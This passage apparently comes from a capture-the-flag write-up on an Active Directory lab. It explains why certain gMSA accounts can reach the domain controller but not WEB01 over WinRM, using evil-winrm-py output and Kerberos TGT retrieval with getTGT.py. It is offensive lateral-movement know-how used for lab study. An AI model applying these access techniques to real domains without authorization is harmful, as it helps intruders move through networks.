gMSA_ADCS_prod$ |
(none) | DC01 (the CA PIRATE-DC01-CA is hosted on DC01) |
Both accounts are members of the domain builtin Remote Management Users group (CN=Remote Management Users,CN=Builtin). That builtin governs remote management of the domain controller, which is why both can WinRM into DC01. But it does nothing for a member server. On WEB01, only gMSA_ADFS_prod$ is in the local group:
evil-winrm-py PS C:\> net localgroup "Remote Management Users"
Alias name Remote Management Users
Comment Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.
Members
-------------------------------------------------------------------------------
PIRATE\gMSA_ADFS_prod$
The command completed successfully.
Two notes on WinRM error messages, which is easy to misread:
Failed to authenticate the user gMSA_ADCS_prod$ with ntlmlooks like a bad credential, butevil-winrm-pysurfaces a WinRM 401 the same way whether the cause is a rejected credential or “authenticated, but no access to this endpoint.” In this case, it’s the lack of access.- Retrying with
-kreturnedNo applicable credentials available. That one is from my WinRM client.-kreads a Kerberos ccache, and there was no TGT forgMSA_ADCS_prod$in it, so that attempt never actually reached WEB01’s authorization check. Getting a TGT first (getTGT.py) and then retrying-kgives the real access-denied.
